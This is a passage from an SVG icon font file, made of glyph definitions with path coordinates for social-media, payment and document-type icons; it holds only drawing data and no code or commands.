			l 33.417,75.043l 63.96-18.463C 344.136,255.713, 359.696,244, 378,244c 23.196,0, 42,18.804, 42,42s-18.804,42-42,42
			c-15.995,0-29.9-8.943-36.992-22.1L 269.736,326.473c-7.973,2.3-16.423-1.628-19.798-9.21l-45.399-101.949
			c-37.248-2.623-71.427-12.697-99.591-28.103C 95.383,204.383, 77.051,216, 56,216c-30.928,0-56-25.072-56-56
			c0-22.886, 13.738-42.549, 33.413-51.232C 29.882,98.256, 28,87.285, 28,76c0-77.319, 87.752-140, 196-140
			c 108.247,0, 196,62.681, 196,140c0,11.284-1.881,22.252-5.411,32.763C 434.263,117.447, 448,137.113, 448,160z M 378,301.75
			c 8.698,0, 15.75-7.052, 15.75-15.75s-7.052-15.75-15.75-15.75s-15.75,7.052-15.75,15.75S 369.302,301.75, 378,301.75z M 28,160c0,15.439, 12.561,28, 28,28
			c 11.16,0, 20.813-6.564, 25.308-16.033c-14.633-11.098-26.76-23.899-35.729-37.948C 35.287,138.163, 28,148.244, 28,160z M 224-30.75
			c-89.884,0-162.75,47.793-162.75,106.75s 72.866,106.75, 162.75,106.75c 89.884,0, 162.75-47.793, 162.75-106.75S 313.884-30.75, 224-30.75z M 402.421,134.019
			c-8.969,14.049-21.095,26.85-35.729,37.948C 371.188,181.436, 380.84,188, 392,188c 15.439,0, 28-12.561, 28-28
			C 420,148.244, 412.713,138.163, 402.421,134.019z"  />
<glyph unicode="&#xe19f;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 168,20l-56,0 
	L 112,216 l 56,0 L 168,20 z M 140,244c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 155.464,244, 140,244z M 364,20l-56,0 L 308,132 
	c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-112 l-56,0 L 196,216 l 56,0 l0-34.769 C 263.549,197.096, 281.204,216, 301,216c 34.794,0, 63-31.34, 63-70
	L 364,20 z"  />
<glyph unicode="&#xe1a0;" d="M 358.566,28.038c-46.666,0.183-71.53,23.005-88.809,63.22l-4.943,10.973l-42.599,97.125
	c-14.128,34.381-49.185,57.606-88.74,57.606c-53.521,0-96.943-43.423-96.943-96.981c0-53.558, 43.421-96.98, 96.943-96.98
	c 37.335,0, 69.8,21.109, 86.005,52.063l 17.227-39.739c-24.462-29.824-61.633-48.818-103.23-48.818C 59.754,26.506,0,86.226,0,159.982
	c0,73.721, 59.754,133.513, 133.474,133.513c 55.635,0, 100.553-29.714, 123.375-82.36c 1.731-4.085, 24.132-56.475, 43.674-101.063
	c 12.105-27.598, 22.426-45.902, 55.893-47.033c 32.886-1.13, 55.456,18.886, 55.456,44.191c0,24.719-17.209,30.661-46.266,40.322
	c-52.23,17.209-79.19,34.49-79.19,75.907c0,40.397, 27.489,67.339, 72.15,67.339c 29.092,0, 50.096-12.944, 64.645-38.756
	l-28.55-14.583c-10.758,15.056-22.622,21-37.7,21c-20.962,0-35.93-14.584-35.93-33.979c0-27.528, 24.629-31.685, 59.065-42.986
	C 426.453,166.4, 448,149.153, 448,106.096C 448.001,60.887, 409.206,27.964, 358.566,28.038z"  />
<glyph unicode="&#xe1a1;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z
	 M 326.601,51.111c-77.682,0-104.623,35.024-118.988,78.577l-14.372,44.903c-10.779,32.78-23.351,58.373-62.862,58.373
	c-27.396,0-55.233-19.757-55.233-74.987c0-43.106, 22.001-70.049, 52.987-70.049c 35.018,0, 58.371,26.044, 58.371,26.044l 14.372-39.063
	c0,0-24.253-23.797-74.987-23.797c-62.865,0-97.891,36.816-97.891,105.072c0,70.946, 35.025,112.704, 101.031,112.704
	c 59.721,0, 89.81-21.553, 108.665-79.928l 14.819-44.899c 10.778-32.782, 29.634-56.579, 74.986-56.579
	c 30.534,0, 46.696,6.737, 46.696,23.349c0,13.024-7.63,22.453-30.531,27.843l-30.537,7.181c-37.264,8.979-52.082,28.288-52.082,58.823
	c0,48.944, 39.515,64.211, 79.925,64.211c 45.802,0, 73.641-16.614, 77.233-57.025l-44.902-5.39
	c-1.797,19.308-13.472,27.392-35.024,27.392c-19.759,0-31.881-8.982-31.881-24.249c0-13.471, 5.837-21.554, 25.591-26.044
	l 28.737-6.284c 38.618-8.983, 59.278-27.843, 59.278-64.213C 420.001,68.172, 382.283,51.111, 326.601,51.111z"  />
<glyph unicode="&#xe1a2;" d="M 373.352,384L 74.675,384 C 33.604,384,0,350.393,0,309.322l0-298.648 C0-30.42, 33.604-64, 74.675-64l 298.677,0 
	C 414.422-64, 448-30.421, 448,10.674L 448,309.322 C 448,350.393, 414.422,384, 373.352,384z M 420,10.674c0-12.396-4.874-24.098-13.724-32.951
	C 397.428-31.126, 385.736-36, 373.352-36L 224-36 L 224,160 L 28,160 L 28,309.322 c0,12.385, 4.878,24.084, 13.736,32.942C 50.593,351.122, 62.291,356, 74.675,356
	L 224,356 l0-196 l 196,0 L 420,10.674 z"  />
<glyph unicode="&#xe1a3;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 224,244
	c-15.439,0-28-12.561-28-28l0-112 c0-46.319-37.682-84-84-84s-84,37.681-84,84l0,56 l 56,0 l0-56 c0-15.439, 12.561-28, 28-28s 28,12.561, 28,28L 140,216 
	c0,46.318, 37.682,84, 84,84c 46.318,0, 84-37.682, 84-77.875l0-27.125 l-35.875-10.5l-20.125,10.5l0,27.125 C 252,231.439, 239.439,244, 224,244z M 420,104
	c0-46.319-37.682-84-84-84s-84,37.681-84,90.125l0,54.25 l 20.125-10.5l 35.875,10.5l0-54.25 c0-21.564, 12.561-34.125, 28-34.125s 28,12.561, 28,28l0,56 l 56,0 L 420,104 z"  />
<glyph unicode="&#xe1a4;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224,272
	c-15.439,0-28-12.561-28-28l0-112 c0-46.318-37.682-84-84-84s-84,37.682-84,84l0,56 l 56,0 l0-56 c0-15.439, 12.561-28, 28-28s 28,12.561, 28,28L 140,244 
	c0,46.318, 37.682,84, 84,84s 84-37.682, 84-77.875l0-27.125 l-35.875-10.5l-20.125,10.5l0,27.125 C 252,259.439, 239.439,272, 224,272z M 336,48
	c-46.318,0-84,37.682-84,90.125l0,54.25 l 20.125-10.5l 35.875,10.5l0-54.25 c0-21.564, 12.561-34.125, 28-34.125s 28,12.561, 28,28l0,56 l 56,0 l0-56 
	C 420,85.682, 382.318,48, 336,48z"  />
<glyph unicode="&#xe1a5;" d="M 448,104 L 448-64 L 0-64 L 0,104 L 56,104 L 56-8 L 392-8 L 392,104 ZM 84,76L 364,76L 364,20L 84,20zM 90.629,136.609L 102.747,191.28L 376.111,130.688L 363.993,76.017zM 122.35,249.006L 146.016,299.758L 399.78,181.43L 376.114,130.678zM 433.878,225.854 L 399.787,181.426 L 177.649,351.88 L 202.296,384 L 227.777,384 Z"  />
<glyph unicode="&#xe1a6;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 245.719,84.698
	c-20.353,1.581-28.893,11.662-44.846,21.354C 192.097,60.037, 181.377,15.92, 149.625-7.123
	c-9.802,69.548, 14.391,121.784, 25.624,177.237c-19.155,32.246, 2.306,97.14, 42.709,81.145
	c 49.711-19.665-43.050-119.878, 19.22-132.394c 65.021-13.067, 91.564,112.813, 51.25,153.748
	c-58.257,59.109-169.574,1.348-155.886-83.281c 3.331-20.69, 24.707-26.967, 8.542-55.52c-37.284,8.265-48.409,37.67-46.977,76.874
	c 2.305,64.17, 57.655,109.097, 113.175,115.31c 70.212,7.859, 136.109-25.772, 145.209-91.821
	C 362.734,159.63, 320.795,78.894, 245.719,84.698z"  />
<glyph unicode="&#xe1a7;" d="M 373.341,384L 74.659,384 C 33.424,384,0,350.566,0,309.325l0-298.651 C0-30.567, 33.424-64, 74.659-64l 298.682,0 
	C 414.575-64, 448-30.567, 448,10.674L 448,309.325 C 448,350.566, 414.575,384, 373.341,384z M 245.719,84.698
	c-20.353,1.581-28.893,11.662-44.846,21.354c-8.776-46.015-19.496-90.133-51.248-113.176
	c-9.802,69.548, 14.391,121.784, 25.624,177.237c-19.156,32.246, 2.306,97.14, 42.709,81.145
	c 49.711-19.665-43.050-119.878, 19.22-132.394c 65.021-13.067, 91.564,112.813, 51.25,153.748
	c-58.257,59.109-169.574,1.348-155.886-83.281c 3.331-20.69, 24.707-26.967, 8.542-55.52c-37.284,8.265-48.409,37.67-46.977,76.874
	c 2.305,64.17, 57.655,109.097, 113.175,115.31c 70.212,7.859, 136.109-25.772, 145.209-91.821
	C 362.734,159.63, 320.795,78.894, 245.719,84.698z"  />
<glyph unicode="&#xe1a8;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 136.403,92.28l-48.678,0 
	c-2.932,0-5.122,1.316-6.362,3.318c-1.284,2.082-1.349,4.781,0,7.467l 51.721,91.274c 0.055,0.1, 0.055,0.166,0,0.277l-32.913,56.977
	c-1.361,2.711-1.56,5.387-0.277,7.467c 1.24,2.013, 3.706,3.042, 6.638,3.042l 48.678,0 c 7.468,0, 11.13-4.812, 13.553-9.127
	c0,0, 33.268-58.039, 33.468-58.359c-1.97-3.474-52.552-92.934-52.552-92.934C 147.191,97.192, 143.684,92.28, 136.403,92.28z
	 M 366.587,318.14L 258.808,127.573c-0.066-0.101-0.066-0.223,0-0.321l 68.627-125.383c 1.361-2.699, 1.394-5.443, 0.099-7.522
	c-1.238-2.002-3.529-3.108-6.46-3.108l-48.624,0 c-7.457,0-11.185,4.955-13.598,9.271c0,0-68.992,126.565-69.169,126.895
	c 3.451,6.107, 108.322,192.083, 108.322,192.083c 2.611,4.692, 5.764,9.271, 13.032,9.271l 49.178,0 c 2.932,0, 5.233-1.107, 6.471-3.109
	C 367.97,323.572, 367.937,320.829, 366.587,318.14z"  />
<glyph unicode="&#xe1a9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 151.148,103.822l-40.484,0 
	c-2.439,0-4.261,1.091-5.293,2.753c-1.067,1.729-1.122,3.966,0,6.195l 43.017,75.718c 0.045,0.083, 0.045,0.138,0,0.23l-27.373,47.267
	c-1.132,2.248-1.298,4.468-0.23,6.194c 1.032,1.67, 3.082,2.524, 5.521,2.524l 40.484,0 c 6.212,0, 9.257-3.992, 11.274-7.572
	c0,0, 27.668-48.147, 27.833-48.412c-1.639-2.883-43.706-77.096-43.706-77.096C 160.12,107.897, 157.203,103.822, 151.148,103.822z
	 M 342.584,291.19L 252.948,133.102c-0.054-0.085-0.054-0.187,0-0.268l 57.075-104.016c 1.133-2.238, 1.16-4.515, 0.084-6.24
	c-1.031-1.66-2.935-2.578-5.373-2.578l-40.44,0 c-6.202,0-9.304,4.112-11.308,7.691c0,0-57.379,104.996-57.526,105.269
	c 2.87,5.067, 90.088,159.349, 90.088,159.349c 2.17,3.892, 4.792,7.691, 10.839,7.691l 40.899,0 c 2.44,0, 4.355-0.918, 5.383-2.579
	C 343.737,295.694, 343.708,293.42, 342.584,291.19z"  />
<glyph unicode="&#xe1aa;" d="M 160.808,384C 54.339,384,0,322.679,0,208.188l0,0l0-79.977 l0-160.226 l 104.296,104.4L 104.296,194.402 c0,47.432, 12.569,77.615, 54.739,84.391
	l0,0c 14.731,2.88, 45.391,1.872, 64.884,1.872l0,0l0-72.448 c0-0.661, 0.091-1.84, 0.26-2.444l0,0c 0.818-2.933, 3.469-5.082, 6.613-5.088
	l0,0c 1.777-0.004, 3.442,0.921, 5.158,2.612l0,0L 416.691,383.973L 295.367,384L 160.808,384 z M 343.704,247.611l0-122.014 
	c0-47.431-12.572-77.619-54.738-84.391l0,0c-14.731-2.88-45.393-1.872-64.887-1.872l0,0l0,72.447 c0,0.656-0.090,1.839-0.26,2.442
	l0,0c-0.816,2.936-3.466,5.085-6.612,5.088l0,0c-1.778,0.004-3.441-0.924-5.158-2.61l0,0L 31.308-63.971L 152.63-64l 134.561,0 
	C 393.658-64, 448-2.676, 448,111.81l0,0l0,79.981 L 448,352.010 L 343.704,247.611z"  />
<glyph unicode="&#xe1ab;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 411.221-27.225
	C 401.048-37.397, 387.594-43, 373.337-43L 74.675-43 c-14.257,0-27.715,5.603-37.891,15.777C 26.605-17.047, 21-3.587, 21,10.676
	L 21,309.323 c0,14.256, 5.606,27.712, 15.786,37.892C 46.965,357.394, 60.421,363, 74.675,363l 298.662,0 c 3.105,0, 6.169-0.282, 9.173-0.803
	l-92.443-126.901l-42.894,42.897c-6.040,6.041-14.074,9.368-22.621,9.368c-8.545,0-16.579-3.326-22.626-9.368l-19.475-19.476
	c-1.093,1.489-2.227,2.959-3.447,4.385c-26.534,31.009-73.181,34.654-104.19,8.112c-31.013-26.529-34.644-73.172-8.11-104.186
	c 6.086-7.117, 13.24-12.774, 21.013-16.972c 0.158-7.98, 3.263-15.914, 9.335-21.991L 201.924,23.205
	c 6.044-6.046, 14.080-9.377, 22.627-9.377c 8.55,0, 16.584,3.332, 22.621,9.376l 104.868,104.861c 6.046,6.045, 9.377,14.080, 9.377,22.627
	s-3.331,16.584-9.376,22.626l-12.065,12.066L 427,261.921l0-251.245 C 427-3.589, 421.397-17.049, 411.221-27.225z M 192.673,239.242
	l 24.098,24.099c 2.078,2.076, 4.841,3.22, 7.78,3.22c 2.937,0, 5.698-1.143, 7.772-3.216l 45.227-45.23l-49.157-67.481
	c-4.854-5.414-9.131-2.566-10.818-0.554c-0.579,0.682-12.113,15.782-27.026,35.342
	C 197.953,202.37, 198.755,221.653, 192.673,239.242z M 218.768,89.984c0,0, 3.809-3.535, 8.013-0.12l 97.089,81.927l 13.325-13.325
	c 2.078-2.077, 3.224-4.838, 3.224-7.775s-1.145-5.698-3.225-7.777L 232.319,38.049c-2.074-2.076-4.832-3.221-7.767-3.221
	c-2.936,0-5.698,1.145-7.777,3.225l-103.801,103.792c 12.083-1.625, 24.532-0.274, 36.158,4.147L 218.768,89.984z"  />
<glyph unicode="&#xe1ac;" d="M 447.864,384l-49.472,0 L 290.067,235.296l-42.894,42.897c-6.040,6.041-14.074,9.368-22.621,9.368
	c-8.545,0-16.579-3.326-22.626-9.368l-19.475-19.476c-1.093,1.489-2.227,2.959-3.447,4.385
	c-26.534,31.009-73.181,34.654-104.19,8.112c-31.013-26.529-34.644-73.172-8.11-104.186c 6.086-7.117, 13.24-12.774, 21.013-16.972
	c 0.158-7.98, 3.263-15.914, 9.335-21.991L 201.924,23.205c 6.044-6.046, 14.080-9.377, 22.627-9.377c 8.55,0, 16.584,3.332, 22.621,9.376
	l 104.868,104.861c 6.046,6.045, 9.377,14.080, 9.377,22.627s-3.331,16.584-9.376,22.626l-12.065,12.066l 107.888,91.039L 447.865,384 z
	 M 216.772,263.341c 2.078,2.076, 4.841,3.22, 7.78,3.22c 2.937,0, 5.698-1.143, 7.772-3.216l 45.227-45.23l-49.157-67.481
	c-4.854-5.414-9.131-2.566-10.818-0.554c-0.579,0.682-12.113,15.782-27.026,35.342c 7.404,16.949, 8.206,36.232, 2.124,53.82
	L 216.772,263.341z M 337.193,158.467c 2.078-2.077, 3.224-4.838, 3.224-7.775s-1.145-5.698-3.225-7.777L 232.319,38.049
	c-2.074-2.076-4.832-3.221-7.767-3.221c-2.936,0-5.698,1.145-7.777,3.225l-103.801,103.792c 12.083-1.625, 24.532-0.274, 36.158,4.147
	l 69.637-56.008c0,0, 3.809-3.535, 8.013-0.12l 97.089,81.927L 337.193,158.467z"  />
<glyph unicode="&#xe1ad;" d="M 385.277,326.786c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
	c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
	l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
	C 408.395,341.473, 341.317,384, 283.65,384L 87.090,384 L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 
	c 78.859,0, 144.785,48.597, 162.425,131.222C 459.142,268.65, 426.54,309.885, 385.277,326.786z M 184.775,302.589l 56.495,0 
	c 28.259,0, 47.076-24.298, 38.844-54.668c-7.059-30.38-36.481-54.677-65.905-54.677l-54.144,0 L 184.775,302.589z"  />
<glyph unicode="&#xe1ae;" d="M 385.277,326.786c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
	c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
	l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
	C 408.395,341.473, 341.317,384, 283.65,384L 87.090,384 L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 
	c 78.859,0, 144.785,48.597, 162.425,131.222C 459.142,268.65, 426.54,309.885, 385.277,326.786z M 280.115,247.921
	c-6.004-25.839-28.187-47.268-52.787-53.099l 13.448,59.51l 40.681,0 C 281.138,252.229, 280.703,250.093, 280.115,247.921z M 184.775,302.589
	l 56.495,0 c 16.082,0, 29.097-7.877, 35.818-20.256l-58.692,0 l-20.132-89.088l-38.199,0 L 184.775,302.589z"  />
<glyph unicode="&#xe1af;" d="M 283.65,356c 12.395,0, 24.902-2.539, 36.166-7.343c 11.849-5.052, 21.579-12.217, 28.921-21.294
		c 14.699-18.175, 18.829-42.933, 12.272-73.595c-7.134-33.415-23.799-61.233-48.195-80.443c-23.781-18.726-53.812-28.625-86.847-28.625
		l-82.368,0 l-22.658,0 l-4.726-22.159L 92.693,12.256L 72.613,12.256 l-6.1,0 L 34.758,12.256 L 109.647,356L 283.65,356  M 125.031,165.244l 35.034,0 l 54.144,0 
		c 20.753,0, 41.779,7.949, 59.202,22.384c 16.984,14.071, 28.995,33.041, 33.861,53.462c 6.082,22.979, 2.026,46.004-11.162,63.242
		c-12.764,16.686-32.753,26.256-54.839,26.256l-56.495,0 l-22.378,0 l-4.933-21.828l-24.711-109.345L 125.031,165.244 M 283.65,384L 87.090,384 
		L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
		c 14.751,68.985-17.852,110.22-59.114,127.122c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
		c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
		l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
		C 408.395,341.473, 341.317,384, 283.65,384L 283.65,384z M 160.065,193.244l 24.711,109.345l 56.495,0 c 28.259,0, 47.076-24.298, 38.844-54.668
		c-7.059-30.38-36.481-54.677-65.905-54.677L 160.065,193.244 L 160.065,193.244z"  />
<glyph unicode="&#xe1b0;" d="M 266.383,98.108c-7.561-7.624-1.167-21.494-1.167-21.494l 56.914-95.033c0,0, 9.345-12.53, 17.441-12.53
		c 8.133,0, 16.167,6.681, 16.167,6.681l 44.994,64.316c0,0, 4.532,8.114, 4.637,15.222c 0.163,10.109-15.074,12.877-15.074,12.877
		l-106.526,34.209C 283.769,102.354, 273.332,105.124, 266.383,98.108zM 260.983,146.007c 5.451-9.244, 20.487-6.55, 20.487-6.55l 106.285,31.065c0,0, 14.484,5.891, 16.552,13.745
		c 2.030,7.855-2.389,17.335-2.389,17.335l-50.793,59.829c0,0-4.402,7.565-13.535,8.326c-10.069,0.857-16.266-11.33-16.266-11.33
		l-60.056-94.504C 261.268,163.921, 255.959,154.509, 260.983,146.007zM 210.767,182.852c 12.516,3.082, 14.502,21.264, 14.502,21.264l-0.851,151.318c0,0-1.887,18.666-10.275,23.727
		c-13.156,7.981-17.055,3.814-20.823,3.257L 105.079,349.629c0,0-8.642-2.859-13.143-10.070c-6.427-10.216, 6.531-25.175, 6.531-25.175
		L 190.186,189.365C 190.186,189.365, 199.237,180.004, 210.767,182.852zM 188.976,121.615c 0.316,11.671-14.013,18.681-14.013,18.681L 80.114,188.213c0,0-14.055,5.795-20.878,1.757
		c-5.228-3.089-9.86-8.68-10.313-13.621l-6.177-76.043c0,0-0.926-13.175, 2.489-19.171c 4.836-8.506, 20.75-2.582, 20.75-2.582
		l 110.73,24.475C 181.016,105.919, 188.559,106.179, 188.976,121.615zM 216.51,80.575c-9.505,4.881-20.879-5.228-20.879-5.228l-74.142-81.623c0,0-9.25-12.481-6.899-20.147
		c 2.216-7.183, 5.886-10.753, 11.077-13.268l 74.459-23.505c0,0, 9.027-1.875, 15.863,0.106c 9.704,2.813, 7.916,18.004, 7.916,18.004
		l 1.683,110.513C 225.587,65.426, 225.208,76.074, 216.51,80.575z"  />
<glyph unicode="&#xe1b1;" d="M 233.899,374.1C 228.455,379.545, 217.7,384, 210,384L 42,384 c-7.7,0-14-6.3-14-14l0-420 c0-7.7, 6.3-14, 14-14l 336,0 c 7.7,0, 14,6.3, 14,14L 392,202 
		c0,7.7-4.455,18.455-9.899,23.899L 233.899,374.1z M 364-36L 56-36 L 56,356 l 153.632,0 c 1.276-0.21, 3.678-1.205, 4.729-1.959l 147.681-147.68
		c 0.753-1.051, 1.748-3.454, 1.958-4.729L 364-36 zM 378,384l-84,0 c-7.7,0-9.545-4.455-4.101-9.899l 92.201-92.201C 387.545,276.455, 392,278.3, 392,286L 392,370 C 392,377.7, 385.7,384, 378,384
		z"  />
<glyph unicode="&#xe1b2;" d="M 368.38,126.102c-5.971,5.883-19.212,8.998-39.363,9.263c-13.64,0.15-30.057-1.051-47.324-3.469
		c-7.732,4.462-15.703,9.316-21.957,15.163c-16.827,15.713-30.873,37.525-39.627,61.51c 0.571,2.24, 1.056,4.209, 1.508,6.218
		c0,0, 9.479,53.839, 6.969,72.041c-0.346,2.496-0.557,3.221-1.228,5.161l-0.823,2.115c-2.579,5.947-7.633,12.247-15.56,11.903
		l-4.648,0.148l-0.128,0.003c-8.838,0-16.041-4.52-17.931-11.276c-5.748-21.19, 0.183-52.89, 10.93-93.948l-2.751-6.688
		c-7.695-18.758-17.338-37.651-25.847-54.319l-1.106-2.167c-8.951-17.517-17.073-32.386-24.436-44.985l-7.602-4.020
		c-0.553-0.292-13.582-7.183-16.637-9.032c-25.925-15.48-43.103-33.049-45.953-46.995c-0.907-4.449-0.232-10.144, 4.381-12.781
		l 7.353-3.7c 3.189-1.598, 6.553-2.407, 9.999-2.407c 18.464,0, 39.9,23, 69.43,74.535
		c 34.094,11.098, 72.911,20.325, 106.931,25.414c 25.925-14.599, 57.812-24.739, 77.937-24.739c 3.573,0, 6.655,0.34, 9.158,1.004
		c 3.86,1.022, 7.113,3.223, 9.097,6.209c 3.905,5.877, 4.696,13.97, 3.636,22.258C 372.47,120.985, 370.506,124.026, 368.38,126.102z
		 M 92.595,27.854c 3.367,9.206, 16.695,27.407, 36.402,43.556c 1.239,1.004, 4.291,3.864, 7.085,6.52
		C 115.475,45.063, 101.674,31.963, 92.595,27.854z M 209.315,296.637c 5.935,0, 9.312-14.96, 9.592-28.986
		c 0.28-14.026-3-23.87-7.069-31.154c-3.37,10.784-4.999,27.781-4.999,38.895C 206.839,275.393, 206.591,296.637, 209.315,296.637z
		 M 174.498,105.096c 4.134,7.401, 8.436,15.206, 12.832,23.484c 10.715,20.263, 17.482,36.118, 22.522,49.151
		c 10.023-18.237, 22.507-33.74, 37.181-46.162c 1.831-1.55, 3.77-3.107, 5.807-4.659C 222.998,121.006, 197.206,113.825, 174.498,105.096z
		 M 362.645,106.777c-1.817-1.137-7.024-1.794-10.372-1.794c-10.809,0-24.181,4.941-42.93,12.979
		c 7.205,0.533, 13.808,0.804, 19.731,0.804c 10.842,0, 14.052,0.047, 24.653-2.656S 364.463,107.914, 362.645,106.777zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1b3;" d="M 301.971,177.639c-26.542,12.535-60.363,15.059-85.24-2.646c 30.249,2.889, 63.419-2.117, 85.359-24.992
			c 21,24.098, 54.3,28.615, 84.419,26.133C 361.358,192.822, 328.226,190.582, 301.971,177.639zM 291.221,118.984c-29.915,0.69-58.815-10.138-83.606-26.296c-46.889,19.945-106.197,16.242-146.126-17.055
			c 11.519,0.409, 22.753,3.258, 34.149,4.721c 41.642,4.151, 86.007-6.187, 117.474-34.923c 13.025,19.050, 31.344,34.231, 52.348,43.716
			c 27.595,13.352, 58.695,14.737, 88.734,15.103C 335.955,116.785, 312.799,119.106, 291.221,118.984zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1b4;" d="M 279.903,175.797L 299.246,175.797L 276.928,76.844L 247.91,215.974L 201.295,215.974L 167.557,76.844L 142.263,215.974L 93.528,215.974L 143.006-7.975L 190.622-7.975L 224.001,124.46L 253.863-7.975L 297.76-7.975L 354.473,215.974L 279.903,215.974 	
		zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
<glyph unicode="&#xe1b5;" d="M 325.075,216L 265.884,216L 224.001,154.298L 182.115,216L 122.926,216L 193.872,109.922L 113.821-8L 228.551-8L 228.551,32.065L 202.058,32.065L 224.001,64.874L 272.737-8L 334.18-8L 254.128,109.922 	zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z"  />
